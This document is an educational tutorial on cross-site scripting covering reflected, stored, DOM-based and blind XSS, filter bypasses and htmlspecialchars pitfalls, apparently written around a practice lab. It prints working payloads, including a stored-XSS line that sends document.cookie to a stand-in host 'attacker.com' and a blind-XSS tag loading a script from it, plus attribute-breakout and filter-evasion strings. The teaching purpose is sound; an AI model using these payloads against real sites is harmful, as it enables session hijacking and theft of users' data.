Understanding Cross-Site Scripting (XSS)
Cross-Site Scripting, commonly referred to as XSS, is a prevalent web security vulnerability where attackers inject malicious scripts into web pages viewed by other users. While originally abbreviated as CSS, the industry adopted "XSS" to avoid confusion with Cascading Style Sheets. XSS primarily targets the client-side environment (the browser), making the end-user the victim of the attack.
XSS vulnerabilities typically arise when an application includes untrusted data in a web page without proper validation or encoding. The browser then interprets this data as executable code. Common mitigation strategies include Input Filtering (blocking dangerous characters) and Output Encoding (converting special characters into HTML entities).
Reflected XSS (GET Method)
In a Reflected XSS scenario, the malicious script is "reflected" off a web application to the victim's browser, usually via a URL parameter.
During testing, you may encounter front-end restrictions such as the maxlength attribute on input fields. This can be bypassed by modifying the HTML source directly in the browser's Developer Tools (F12). Once the restriction is lifted, a standard payload can be executed:
<script>confirm('Reflected-GET')</script>
Note: JavaScript functions like alert() or confirm() treat numeric arguments as literals, but strings must be enclosed in quotes (single or double) or backticks.
Reflected XSS (POST Method)
Reflected XSS via POST occurs when the payload is sent in the HTTP request body. This is common in login forms or search bars that use POST. Unlike GET, the payload is not visible in the URL, making it slightly more difficult to deliver via social engineering unless a secondary page (like a malicious form auto-submitter) is used.
Once authenticated, if the application echoes back user input (e.g., "Welcome, [username]"), the following payload can trigger an execution:
<svg/onload=alert(document.cookie)>
Stored XSS
Stored XSS is significantly more dangerous because the payload is permanently saved on the target server (e.g., in a database, comment section, or user profile). Every user who visits the affected page will execute the script.
Example payload for a comment box:
<script>fetch('http://attacker.com/log?c=' + document.cookie);</script>
DOM-based XSS
DOM-based XSS occurs entirely on the client side. The server does not receive the malicious payload; enstead, client-side JavaScript reads data from a source (like the URL fragment) and writes it to a "sink" (like innerHTML or location.href).
Common DOM methods involved include:
getElementById(): Retrieving elements.innerHTML: Writing content to an element.document.write(): Writing directly to the document stream.
If the input is placed inside an <a> tag's href attribute, we can break out of the attribute and inject an event handler:
' onmouseover='alert("DOM-XSS")'
Blind XSS
Blind XSS is a subtype of Stored XSS where the attacker cannot see the result of their atack immediately. The payload is typically stored and later executed in a private area of the application, such as an administration panel or a log viewer used by support staff.
Attackers use "out-of-band" techniques to confirm execution, such as triggering a request to a server they control:
<script src="http://attacker.com/logger.js"></script>
Bypassing Basic Filters
Simple filters often look for specific strings like <script>. These can sometimes be bypassed using case variation or alternative tags:
<sCrIpT>alert(1)</ScRiPt>
<img src=x onerror=prompt(1)>
The htmlspecialchars() Context
The PHP function htmlspecialchars() converts special characters to HTML entities. By default, it converts:
&to&"to"<to<>to>
However, if the ENT_QUOTES flag is not set, single quotes (') may remain unencoded. If the input is placed inside an attribute wrapped in single quotes, an attacker can break out:
' onclick='javascript:alert(1)'
XSS in href Attributes
When input is outputted inside an href attribute of an anchor tag, even if htmlspecialchars() is used, the javascript: protocol can still be utilized. Since the protocol does not require special HTML characters, it bypasses entity encoding filters:
javascript:console.log(document.domain)
Effective defense here requires validating that the URL starts with an authorized protocol like http:// or https://.
XSS within JavaScript Blocks
Sometimes input is placed directly inside a JavaScript variable assignment. To exploit this, one must break out of the string literal and the script block itself:
'; alert('Injected'); //
Alternatively, if the input is inside a <script> tag, you can simply close the tag and start a new one:
</script><script>alert('Bypass')</script>